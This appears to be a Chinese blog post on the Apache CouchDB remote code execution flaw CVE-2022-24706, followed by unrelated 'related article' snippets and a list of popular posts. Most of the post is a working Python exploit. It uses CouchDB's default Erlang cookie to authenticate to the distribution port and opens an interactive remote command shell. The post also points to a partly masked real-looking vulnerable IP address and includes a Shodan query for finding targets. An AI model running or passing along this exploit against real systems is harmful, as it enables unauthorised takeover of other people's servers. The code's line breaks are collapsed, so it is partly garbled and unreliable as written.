Apache CouchDB 代码执行漏洞(CVE-2022-24706 )
由于CouchDB的默认安装配置存在缺陷,最终可导致攻击者通过访问特定端口,绕过权限校验并获得管理员权限

CVE-2022-24706漏洞是由于3.2.2 版本之前的 CouchDB 的默认配置存在缺陷点, 攻击者可以在未进行身份验证的情况下访问不正确的默认安装进而获得管理员权限。该漏洞影响范围小,建议用户在所有 CouchDB 安装之前安装防火墙。完整的CouchDB api 在注册端口“5984”上可用,这是唯一的需要为单节点安装公开的端口。
实例:45.147.96.xxx 存在REC
EXP

# Exploit Title: Apache CouchDB 3.2.1 - Remote Code Execution (RCE)
# Date: 2022-01-21
# Exploit Author: Konstantin Burov, @_sadshade
# Software Link: https://couchdb.apache.org/
# Version: 3.2.1 and below
# Tested on: Kali 2021.2
# Based on 1F98D's Erlang Cookie - Remote Code Execution
# Shodan: port:4369 "name couchdb at"
# CVE: CVE-2022-24706
# References:
#  https://habr.com/ru/post/661195/
#  https://www.exploit-db.com/exploits/49418
#  https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/
#  https://book.hacktricks.xyz/pentesting/4369-pentesting-erlang-port-mapper-daemon-epmd#erlang-cookie-rce
#
#
# !/usr/local/bin/python3import socket
from hashlib import md5
import struct
import sys
import re
import timeTARGET = sys.argv[1]
EPMD_PORT = 4369  # Default Erlang distributed port
COOKIE = "monster"  # Default Erlang cookie for CouchDB
ERLNAG_PORT = 0
EPM_NAME_CMD = b"\x00\x01\x6e"  # Request for nodes list# Some data:
NAME_MSG = b"\x00\x15n\x00\x07\x00\x03\x49\x9cAAAAAA@AAAAAAA"
CHALLENGE_REPLY = b"\x00\x15r\x01\x02\x03\x04"
CTRL_DATA = b"\x83h\x04a\x06gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03"
CTRL_DATA += b"\x00\x00\x00\x00\x00w\x00w\x03rex"def compile_cmd(CMD):MSG = b"\x83h\x02gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03\x00\x00\x00"MSG += b"\x00\x00h\x05w\x04callw\x02osw\x03cmdl\x00\x00\x00\x01k"MSG += struct.pack(">H", len(CMD))MSG += bytes(CMD, 'ascii')MSG += b'jw\x04user'PAYLOAD = b'\x70' + CTRL_DATA + MSGPAYLOAD = struct.pack('!I', len(PAYLOAD)) + PAYLOADreturn PAYLOADprint("Remote Command Execution via Erlang Distribution Protocol.\n")while not TARGET:TARGET = input("Enter target host:\n> ")# Connect to EPMD:
try:epm_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)epm_socket.connect((TARGET, EPMD_PORT))
except socket.error as msg:print("Couldnt connect to EPMD: %s\n terminating program" % msg)sys.exit(1)epm_socket.send(EPM_NAME_CMD)  # request Erlang nodes
if epm_socket.recv(4) == b'\x00\x00\x11\x11':  # OKdata = epm_socket.recv(1024)data = data[0:len(data) - 1].decode('ascii')data = data.split("\n")if len(data) == 1:choise = 1print("Found " + data[0])else:print("\nMore than one node found, choose which one to use:")line_number = 0for line in data:line_number += 1print(" %d) %s" % (line_number, line))choise = int(input("\n> "))ERLNAG_PORT = int(re.search("\d+$", data[choise - 1])[0])
else:print("Node list request error, exiting")sys.exit(1)
epm_socket.close()# Connect to Erlang port:
try:s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((TARGET, ERLNAG_PORT))
except socket.error as msg:print("Couldnt connect to Erlang server: %s\n terminating program" % msg)sys.exit(1)s.send(NAME_MSG)
s.recv(5)  # Receive "ok" message
challenge = s.recv(1024)  # Receive "challenge" message
challenge = struct.unpack(">I", challenge[9:13])[0]# print("Extracted challenge: {}".format(challenge))# Add Challenge Digest
CHALLENGE_REPLY += md5(bytes(COOKIE, "ascii")+ bytes(str(challenge), "ascii")).digest()
s.send(CHALLENGE_REPLY)
CHALLENGE_RESPONSE = s.recv(1024)if len(CHALLENGE_RESPONSE) == 0:print("Authentication failed, exiting")sys.exit(1)print("Authentication successful")
print("Enter command:\n")data_size = 0
while True:if data_size <= 0:CMD = input("> ")if not CMD:continueelif CMD == "exit":sys.exit(0)s.send(compile_cmd(CMD))data_size = struct.unpack(">I", s.recv(4))[0]  # Get data sizes.recv(45)  # Control messagedata_size -= 45  # Data size without control messagetime.sleep(0.1)elif data_size < 1024:data = s.recv(data_size)# print("S---data_size: %d, data_recv_size: %d" %(data_size,len(data)))time.sleep(0.1)print(data.decode())data_size = 0else:data = s.recv(1024)# print("L---data_size: %d, data_recv_size: %d" %(data_size,len(data)))time.sleep(0.1)print(data.decode(), end='')data_size -= 1024

钉钉CVE漏洞及红队工具自动推送群:31797046https://qr.dingtalk.com/action/joingroup?code=v1,k1,pvNvPYemLn/GMB6zR6MOqYRz+Fek+eWMYkXCD3cR6Ag=&_dt_no_comment=1&origin=11

Apache CouchDB 代码执行漏洞(CVE-2022-24706 )批量POC相关推荐

  1. php x24 x65 x6d x61,Jboss远程代码执行漏洞CVE:2013-4810获得system权限

    此方法成功的渗透至Windows系统并获得最高权限exp 此方法成功的渗透至Windows系统并获得最高权限 exp ?php/*Apache Tomcat/JBoss EJBInvokerServl ...

  2. 【安全风险通告】Spring Framework远程代码执行漏洞(CVE-2022-22965)安全风险通告第二次更新...

    奇安信CERT 致力于第一时间为企业级用户提供安全风险通告和有效解决方案. 安全通告 近日,奇安信CERT监测到Spring Framework存在远程代码执行漏洞(CVE-2022-22965),在 ...

  3. Splunk Enterprise远程代码执行漏洞(CVE-2022-43571)安全风险通告

    奇安信CERT 致力于第一时间为企业级用户提供安全风险通告和有效解决方案. 安全通告 Splunk Enterprise是机器数据的引擎.使用Splunk可收集.索引和利用所有应用程序.服务器和设备生 ...

  4. CVE-2021-1675: Windows Print Spooler远程代码执行漏洞

    ** 赶紧点击上方话题进行订阅吧!** 报告编号:B6-2021-062902 报告来源:360CERT 报告作者:360CERT 更新日期:2021-06-29 1 漏洞简述 2021年06月29日 ...

  5. CVE-2021-35464: ForgeRock AM远程代码执行漏洞

    报告编号:B6-2021-063002 报告来源:360CERT 报告作者:360CERT 更新日期:2021-06-30 0x01 漏洞简述 2021年06月30日,360CERT监测发现ports ...

  6. Apple任意代码执行漏洞

    报告编号:B6-2021-072701 报告来源:360CERT 报告作者:360CERT 更新日期:2021-07-27 0x01 漏洞简述 2021年07月27日,360CERT监测发现Apple ...

  7. CVE-2018-8174 IE浏览器远程代码执行漏洞

    0x00漏洞简介 在2018年5月9日的时候360发表了一份apt攻击分析及溯源报告 文中提到了cve-2018-8174这个漏洞的首次在apt方面的应用 原文地址:http://www.4hou.c ...

  8. 基于qtc++设计文本编辑器的代码_文本编辑器Vim/Neovim被曝任意代码执行漏洞,Notepad:兄弟等你好久了...

    犹记前些日子,微软的记事本文本编辑器爆出了本地代码执行漏洞. Google Project Zero研究员Tavis Ormandy宣布在微软的记事本文本编辑器中发现代码执行漏洞. 可以看见,他在no ...

  9. 文本编辑器Vim/Neovim被曝任意代码执行漏洞,Notepad:兄弟等你好久了

    犹记前些日子,微软的记事本文本编辑器爆出了本地代码执行漏洞. Google Project Zero研究员Tavis Ormandy宣布在微软的记事本文本编辑器中发现代码执行漏洞. 可以看见,他在no ...

最新文章

  1. 【LeetCode】87. Scramble String
  2. pl/sql函数学习
  3. python怎么只打印其中一行_如何在Python中让两个print()函数的输出打印在一行内?...
  4. Java Web 之Token+Cookie+Session
  5. LeetCode 1779. 找到最近的有相同 X 或 Y 坐标的点
  6. Oracle发布Java移动开发路线图 影响近千万开发者
  7. PowerDesigner(九)-模型文档编辑器(生成项目文档)
  8. 【转】CSS和SVG中的剪切——clip-path属性和clipPath元素
  9. IT人 不要一辈子靠技术生存(转
  10. selenium firebug firePath xpath问题
  11. Jmeter基础篇(01):如何进行post接口压力测试
  12. RadASM资源链接错误RC2104及找不到resource.h解决方案
  13. Node包管理使用全教程
  14. 依赖函数检查 mysql_connect()_解决的方法:mysql_connect()不支持请检查mysql模块是否正确载入...
  15. 利用zabbix监控网宿cdn的流量
  16. 如何在图片上写字?——text in the pic
  17. JAVA高频面试题目集锦
  18. 论文翻译神器:SCITranslate 10.0,一键翻译整篇文献
  19. 《MVC》——ViewData、ViewBag、TempData、model
  20. python基础八:集合

热门文章

  1. pytorch unsqueeze与squeeze
  2. 产品创新,价值的4个层次——“发明”只是最低要求
  3. 计算机毕业设计Java高校教师科研文献管理系统(源码+系统+mysql数据库+lw文档)
  4. 通过网页的JS代码启动移动APP
  5. 服务器重启docker命令
  6. 最详细的Git原理总结+如何解决冲突
  7. ggplot2学习笔记3:ggplot()基本用法
  8. 2017校招4399面试经验
  9. MyBatisPlus联合主键批量更新
  10. 制作出与众不同的报表